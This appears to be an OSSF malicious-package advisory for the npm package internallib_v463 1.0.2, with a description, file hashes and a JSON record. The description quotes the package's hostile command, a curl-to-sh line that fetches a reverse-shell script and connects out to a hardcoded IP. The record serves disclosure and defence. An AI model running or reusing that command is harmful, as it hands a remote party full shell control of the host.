mal-2026-16481

ossf_malicious_packages
Description

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (0b01ff1527598f64a1da93492377bfd066f37519d0c589285136d9a31615d1b7) index.js exports a function `command` that runs `/bin/bash -c "curl https://reverse-shell.sh/10.0.73.186:443|sh"`, fetching a reverse-shell script from reverse-shell.sh and piping it to sh. When the exported function is invoked by a consumer of this package, an interactive shell is established outbound to the hardcoded attacker endpoint 10.0.73.186:443, granting a remote party full shell control of the installer host. The module contains a `console.log("Primeiro PWN")` string, consistent with hostile intent rather than a legitimate utility. The package name (`internallib_v463`) and the private-range destination IP are consistent with a dependency-confusion payload targeting an internal package name.

Timeline
Published
unknown
Last Modified
unknown
CVSS Details

CVSS details not available.

Affected Products

No product information available.

Weaknesses (CWE)
References
Linked Vulnerabilities

No linked vulnerabilities found.

{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "evidence_files": [
            {
              "path": "index.js",
              "sha256": "3babdf5501a4c8405ece5d9ba33257e5458f9e6f58fc2b33a9ed6c7281209f34",
              "tlsh": "a4d022fb16fe1529b70431d0e88af07678234c20223800b091505482258254d22e31ef"
            }
          ],
          "package_integrity": [
            {
              "filename": "internallib_v463-1.0.2.tgz",
              "hashes": {
                "sha1": "0e710624d5911d0147454b3726cff6f831f3fef9",
                "sha512_sri": "sha512-XbT9JG60+ggbvx060eFUor6PXJT+/KxjoD1+87Xs8pVzCMgRaBrYyv8FWLzKVq3DyazEjin2G92fExObLmJ3sg=="
              }
            }
          ]
        }
      },
      "package": {
        "ecosystem": "npm",
        "name": "internallib_v463"
      },
      "versions": [
        "1.0.2"
      ]
    }
  ],
  "credits": [
    {
      "contact": [
        "inspector-research@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "malicious-packages-origins": [
      {
        "id": "IN-MAL-2026-020496",
        "import_time": "2026-09-23T18:44:13.449924963Z",
        "modified_time": "2026-09-23T18:30:31Z",
        "sha256": "0b01ff1527598f64a1da93492377bfd066f37519d0c589285136d9a31615d1b7",
        "source": "amazon-inspector",
        "versions": [
          "1.0.2"
        ]
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (0b01ff1527598f64a1da93492377bfd066f37519d0c589285136d9a31615d1b7)\nindex.js exports a function `command` that runs `/bin/bash -c \"curl https://reverse-shell.sh/10.0.73.186:443|sh\"`, fetching a reverse-shell script from reverse-shell.sh and piping it to sh. When the exported function is invoked by a consumer of this package, an interactive shell is established outbound to the hardcoded attacker endpoint 10.0.73.186:443, granting a remote party full shell control of the installer host. The module contains a `console.log(\"Primeiro PWN\")` string, consistent with hostile intent rather than a legitimate utility. The package name (`internallib_v463`) and the private-range destination IP are consistent with a dependency-confusion payload targeting an internal package name.\n",
  "id": "MAL-2026-16481",
  "modified": "2026-09-23T18:30:31Z",
  "published": "2026-09-23T18:30:31Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/internallib_v463/v/1.0.2"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in internallib_v463 (npm)"
}
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